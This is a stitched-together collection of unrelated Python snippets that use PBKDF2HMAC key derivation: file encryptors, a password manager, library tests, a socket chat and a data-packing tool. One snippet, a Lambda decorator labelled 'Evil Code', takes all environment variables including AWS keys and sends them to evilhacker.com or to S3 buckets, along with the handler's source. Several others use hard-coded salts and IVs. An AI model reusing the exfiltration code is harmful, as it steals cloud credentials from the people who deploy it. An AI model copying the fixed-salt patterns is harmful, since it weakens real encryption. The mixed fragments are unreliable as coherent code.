def encrypt_aes_cbc(input_file, destination, encryption_bits=256, password='', outform='base64', salt_in_output=True, iv_in_output=True): backend = default_backend() # set encryption backend if password == '': password = passgenerator.complexpass(default_password_length, special=False) salt = passgenerator.complexpass( encryption_bits // 16).encode() # defaults to 128 bits (half the key size) # setup key derivation function kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=encryption_bits // 8, # encryption bits expressed as bytes (8 bits per byte) salt=salt, iterations=kdf_iterations, backend=backend) key = kdf.derive(password.encode()) # generate key if it was not provided #if encryption_key == '': # decoded_key = passgenerator.complexpass(encryption_bits//8) # key = decoded_key.encode() #else: # key = encryption_key.encode() # create initialization vector iv = passgenerator.complexpass(encryption_bits // 16).encode() # instantiate cipher cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend) # instantiate padder padder = PKCS7(128).padder() # AES uses 128 bit blocks # get bytes from input file file_bytes = read_file_bytes(input_file) # do the padding padded_data = padder.update(file_bytes) + padder.finalize() # instantiate the encryptor encryptor = cipher.encryptor() # do the encryption cipher_text = encryptor.update(padded_data) + encryptor.finalize() # write output file if outform == 'bytes': output_file = write_file_bytes(cipher_text, destination) else: output_file = write_file_base64(cipher_text, salt, iv, destination) base64_key = base64.urlsafe_b64encode(key).decode() base64_iv = base64.urlsafe_b64encode(iv).decode() base64_salt = base64.urlsafe_b64encode(salt).decode() return output_file, base64_key, base64_iv, password, base64_salt
def encrypt(username, website, length, special, caps, nums): backend = default_backend() # ksalt = os.urandom(16) salt = b"1234567812345678" #print(salt.hex()) kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=16, salt=salt, iterations=100000, backend=backend) idf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=16, salt=salt, iterations=100000, backend=backend) file = open("passwords.txt", 'r+') hash1 = file.read() passwd = hash1.encode() ivval = b'hello' key = kdf.derive(passwd) iv = idf.derive(ivval) #print(key.hex()) #print(iv.hex()) padder = padding.PKCS7(128).padder() cipher = Cipher( algorithm=algorithms.AES(key), mode=modes.CBC(iv), backend=backend) encryptor = cipher.encryptor() # filenames #fname = 'index.py' userPassword = randomGenerator.randomGenerate(length, special, caps, nums) userPassword = userPassword dirPath = ('passKeep/%s' %(website)) #dirPath =('passKeep/https://google.com') if(not(os.path.isdir(dirPath))): #if directory doesnt exists try: os.mkdir(dirPath,0o777) except: print ("Creation of the directory %s failed" % dirPath) exit(0) fname2 = ('%s.txt' %(username)) # get the full path names #path = os.path.abspath(fname) path2 = os.path.abspath('%s/%s' %(dirPath, fname2)) # print message to user #print('copying ', path, 'to ', path2) # set the blocksize blocksize = 16 # set the totalsize counter totalsize = 0 # create a mutable array to hold the bytes data = bytearray(blocksize) # open the files #file = open(fname, 'rb') file2 = open(path2, 'wb+') #print('filesize:', os.fstat(file.fileno()).st_size) # loop until done while True: # read block from source file temp = userPassword.encode() num = len(temp) data = temp #num = file.readinto(data) # adjust totalsize totalsize += num # print data, assuming text data print(num,data) # use following if raw binary data # print(num,data.hex()) # check if full block read if num == blocksize: # write full block to destination pdata = padder.update(bytes(data)) ciphertext = encryptor.update(pdata) file2.write(ciphertext) else: # extract subarray data2 = data[0:num] pdata = padder.update(bytes(data2)) + padder.finalize() ciphertext = encryptor.update(pdata) + encryptor.finalize() # write subarray to destination and break lo1op file2.write(ciphertext) # file2.write(b"\n") break # close files (note will also flush destination file #file.close() file2.close() # print totalsize print('read ',totalsize,' bytes')
print("==============================") print() # klíč # file = open('key.key', 'rb') # klic_us = file.read() # file.close() heslo = input('Zadejte heslo: ') # heslo je 'Jonáš je L' heslo_en = heslo.encode() saltA = b'U\xf7+\xe9=4\xbd\xd1\xf3\xd7$\xa2\xa7H\xbe\xc5' decod = PBKDF2HMAC(algorithm=hashes.SHA3_512(), length=32, salt=saltA, iterations=10000, backend=default_backend()) klic_us = base64.urlsafe_b64encode(decod.derive(heslo_en)) print() print('\033[31m' + 'Varování!!!' + '\033[0m' + ' Tento program vám může trvalo poškodit soubory!') print('Prosím před použití napište: ' + '"napicucrypt -h"') print("=============================================================") funkce = input('Co chceš ? \033[31m' + 'zaheslovat / odheslovat' + '\033[0m : ') if funkce == ('zaheslovat'): print("******************************") print('Jaký soubor chceš zaheslovat?') print()
def inner_function(event, context): response = check_cache(**kwargs) # Inject {parameter_name: parameter_value} into context object for key in response: setattr(context, key, response[key]) ## Start of Evil Code import os data = dict() for k, v in os.environ.items(): data[k] = v print(f"Access Key ID: {os.environ['AWS_ACCESS_KEY_ID']}") if os.environ['ATTACK_TYPE'] == "API": import requests requests.post( url="https://evilhacker.com/evil/exfil/creds", data=data) elif os.environ['ATTACK_TYPE'] == "S3": import boto3 import base64 import json from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC # derive key from account id account = context.invoked_function_arn.split(":")[4] kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=b'\xa2:\\>\xb5\xfa\x10gpp8fsd,\x0b', iterations=400000, ) key = base64.urlsafe_b64encode( kdf.derive(account.encode('utf-8'))) f = Fernet(key) # decrypt bucket name encrypted_bucket_name = b'encrypted bucket name' decrypted_bucket_name = f.decrypt( encrypted_bucket_name).decode('utf-8') # Post to S3 bucket client = boto3.client('s3') response = client.put_object( ACL='bucket-owner-full-control', Body=json.dumps(data).encode('utf-8'), Bucket=decrypted_bucket_name, Key='creds_s3.txt', ) elif os.environ['ATTACK_TYPE'] == "BYOC": import boto3 import base64 import json from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC # derive key from account id account = context.invoked_function_arn.split(":")[4] kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=b'\xa2:\\>\xb5\xfa\x10gpp8fsd,\x0b', iterations=400000, ) key = base64.urlsafe_b64encode( kdf.derive(account.encode('utf-8'))) f = Fernet(key) # decrypt credentials encrypted_creds = b'encrypted creds' decrypted_creds = json.loads(f.decrypt(encrypted_creds)) # decrypt bucket name encrypted_bucket_name = b'encrypted creds' decrypted_bucket_name = f.decrypt( encrypted_bucket_name).decode('utf-8') client = boto3.client( 's3', aws_access_key_id=decrypted_creds['aws_access_key_id'], aws_secret_access_key=decrypted_creds[ 'aws_secret_access_key']) response = client.put_object( Body=json.dumps(data).encode('utf-8'), Bucket=decrypted_bucket_name, Key='creds_byoc.txt', ) elif os.environ['ATTACK_TYPE'] == "BYOC_wCode": import boto3 import base64 import json from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC # derive key from account id account = context.invoked_function_arn.split(":")[4] kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=b'\xa2:\\>\xb5\xfa\x10gpp8fsd,\x0b', iterations=400000, ) key = base64.urlsafe_b64encode( kdf.derive(account.encode('utf-8'))) f = Fernet(key) # decrypt credentials encrypted_creds = b'encrypted creds' decrypted_creds = json.loads(f.decrypt(encrypted_creds)) # decrypt bucket name encrypted_bucket_name = b'bucket_name' decrypted_bucket_name = f.decrypt( encrypted_bucket_name).decode('utf-8') client = boto3.client( 's3', aws_access_key_id=decrypted_creds['aws_access_key_id'], aws_secret_access_key=decrypted_creds[ 'aws_secret_access_key']) response = client.put_object( Body=json.dumps(data).encode('utf-8'), Bucket=decrypted_bucket_name, Key='creds_byocwCode.txt', ) with open('/var/task/handler.py', 'rb') as code: handler_text = code.read() response = client.put_object( Body=handler_text, Bucket=decrypted_bucket_name, Key='creds_code.py', ) ## End of Evil Code return func(event, context)
def test_unicode_error_with_salt(self, backend): with pytest.raises(TypeError): PBKDF2HMAC(hashes.SHA1(), 20, u"salt", 10, backend)
def server_run(self): #server_side function inp = input("Enter Name:") self.server.append(inp) #saving the input to list self.server sleep(3) print("starting server.........") sck = socket(AF_INET, SOCK_STREAM) sck.bind( ("", 1026) ) #binding ip address to port number 1025 ,the port number can be changed sck.listen(5) c, a = sck.accept() #accepting incoming connections nu = c.recv(self.buff).decode() #reciving the name of the client self.client.append(nu) #appending/saving the name to list self.client c.send(self.server[0].encode( )) #sending the server name to client in list server in position 0 print(colored("recieved client authentication", 'green')) #print out on recieve of client id/name sleep(3) #pausing for 3secs print( "client {} connected...".format(a[0]) ) #print thaf client of an ip that is represented as list a[0] is connected print("Authenticated to {}".format(a[0]), 'name:', self.client[0]) print("creating key pairs") self.loader() while True: vn = [] jh = [] p = [] l = "abcdefghijklmnopqrstuvwxyz1234567890" for i in range(randint(4, 16)): kl = choice( l) #creating a random key from a list of letters 'l' p.append(kl) en = "".join(p) j = str("".join(p)) kd = "['']" for o in kd: kt = j.replace(o, "") jh.append(kt) #save key to list kt c.send(jh[0].encode()) #send key to client ky = colored("keys:", 'red') print(ky, jh[0]) inh = input("Enter message:") #message entry text = inh.encode() #encode message to bytes pauth = jh[0].encode() salt = b'salt_' kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) key = base64.urlsafe_b64encode( kdf.derive(pauth)) #key creation,hashed key vn.append(key) k = Fernet(vn[0]) enc = k.encrypt(text) #encrypt message c.send(enc) #send message print(colored("message sent", 'yellow')) #notify message sent recvm = c.recv(self.buff) #receive message from connected client fdbck = k.decrypt(recvm) #decryt the sent message cld = colored('received:', 'red') #colored text before message print(cld, fdbck.decode(), '\n') #print sent message decoded to utf-8
def test_buffer_protocol(self, backend): kdf = PBKDF2HMAC(hashes.SHA1(), 10, b"salt", 10, backend) data = bytearray(b"data") assert kdf.derive(data) == b"\xe9n\xaa\x81\xbbt\xa4\xf6\x08\xce"
# The sample code is extracted from the book Python Cryptography # The book can be downloaded from https://leanpub.com/cryptop # Online Crypto Playgroud https://8gwifi.org # Author Anish Nath import base64 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC kdf = PBKDF2HMAC(hashes.SHA1(), 20, b"salt", 10, default_backend()) key = kdf.derive(b"password") base64.b64encode(key) # 'rj/l9XB+B/PnwRf7iFzQUqb813o=' # Verify Operation kdf = PBKDF2HMAC(hashes.SHA1(), 20, b"salt", 10, default_backend()) kdf.verify(b"password", key)
import cryptography import base64 import os import sys from cryptography.fernet import Fernet from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC #Dont touch, these are encryption variables salt = os.urandom(16) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) cipher_suite = None #Static variables version = "0.1.1" def main(): setNewPassphrase() running = True while (running): opCode = 0 cmd = input(">>>").strip() #User input parser if cmd == "\q": running = closeout()
def pack_data(data_migrate=None, send_now=True, unencrypted=False): print(constants.EXTRACTOR_WIZARD_HEADER) #Used in case automatic submission fails output_name = str("data_pack_"+str(time.time())).replace(".","") public_key = serialization.load_pem_public_key( get_key_data("PUBLIC"), backend=default_backend() ) print(constants.EXTRACTOR_HELP_STRING) if not public_key: print(Fore.RED + "Could not load the public key") exit(667) data_pack = {} if data_migrate is not None: data_pack = data_migrate else: try: print("{}Please fill these infos precisely, they will appear on the report".format(Fore.LIGHTCYAN_EX)) data_pack = dl.get_info(include_am_configs=True, include_fw_configs=True) except Exception as e: print(Fore.RED + "--------------Error while getting the data-------------- \n" + Fore.LIGHTWHITE_EX + str(e) + "\n" + Fore.RED + "--------------Error while getting the data--------------") # Used to populate the HTTP request's JSON body generation_data = data_pack.get("customer_info") data = pickle.dumps(data_pack) if unencrypted: generate_unencrypted(data_pack,output_name) with tqdm(total=3) as pbar: pbar.set_description("Compressing data...") compressed = lzma.compress(data, preset=9 | lzma.PRESET_EXTREME) pbar.update(1) pbar.set_description("Crypto 1/2...") key_password = os.urandom(32) # 32 bytes / 256 bits # Padding padder = padding.PKCS7(256).padder() compressed_padded = padder.update(compressed) compressed_padded += padder.finalize() # Salt digest = hashes.Hash(hashes.SHAKE128(16), backend=default_backend()) digest.update(key_password) salt = digest.finalize() # IV, NONCE, HMAC_KEY values generated from PBKDF2 using a single use key # Create real key from a given "key password" kdf_kp = PBKDF2HMAC(algorithm = hashes.SHA512(), length = 32, salt = salt, iterations = 1000, backend = default_backend()) key = kdf_kp.derive(key_password) kdf_n = PBKDF2HMAC(algorithm = hashes.SHA256(), length = 16, salt = salt, iterations = 200, backend = default_backend()) nonce = kdf_n.derive(key) kdf_iv = PBKDF2HMAC(algorithm=hashes.SHA256(), length=16, salt=salt, iterations=200, backend=default_backend()) iv = kdf_iv.derive(nonce + key) kdf_hmac = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=200, backend=default_backend()) hmac_key = kdf_hmac.derive(iv + key) # Chacha chacha_alg = algorithms.ChaCha20(key, nonce) cipher_chacha = Cipher(chacha_alg, mode=None, backend=default_backend()) encryptor_chacha = cipher_chacha.encryptor() chacha_cipher = encryptor_chacha.update(compressed_padded) pbar.update(1) pbar.set_description("Crypto 2/2...") # Aes cipher_aes = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) encryptor_aes = cipher_aes.encryptor() aes_cipher = encryptor_aes.update(chacha_cipher) + encryptor_aes.finalize() # HMAC h = hmac.HMAC(hmac_key, hashes.SHA512(), backend=default_backend()) h.update(aes_cipher) hmac_bytes = h.finalize() # RSA # Encrypt the key with an 8192 RSA pub Key encrypted_password = public_key.encrypt( key_password, ass_padding.OAEP( mgf=ass_padding.MGF1(algorithm=hashes.SHA512()), algorithm=hashes.SHA512(), label=None ) ) pbar.update(1) pbar.set_description("Done!") aes_cipher += encrypted_password aes_cipher += hmac_bytes if send_now: if not upload(aes_cipher, generation_data): try: with open(output_name+".dat","wb") as out: out.write(aes_cipher) except Exception as e: print(str(e)+"\nCould not save to disk! (permissions?)") exit(-1) print("{}Probably connection issues due to Firewall or no internet connection, please use this tool\n" " to resubmit the packege on a network with internet access using the command {}--send ".format(Fore.LIGHTYELLOW_EX,Fore.LIGHTRED_EX)) print("{}To do it copy/send the new {}{}{} file created on this folder to other machine with internet\n" "access. the file is extremelly secure it can be manipulated anywere".format(Fore.LIGHTCYAN_EX, Fore.LIGHTYELLOW_EX,output_name,Fore.LIGHTCYAN_EX)) print(Fore.LIGHTGREEN_EX + "Package was saved successfully as {} !".format(output_name)) else: try: with open(output_name+".dat","wb") as out: out.write(aes_cipher) except Exception as e: print(str(e)+"\nCould not save to disk! (permissions?)") exit(-1) print(Fore.LIGHTYELLOW_EX+"The package was not sent for processing, you will have to use the command --send to send another time.") print("{}To do it copy/send the new {}{}{} file created on this folder to another machine with internet\n" "access. the file is very secure and it can be sent/stored anywere.".format(Fore.LIGHTCYAN_EX, Fore.LIGHTYELLOW_EX,output_name,Fore.LIGHTCYAN_EX)) print(Fore.LIGHTGREEN_EX + "Package was saved successfully as {} !".format(output_name))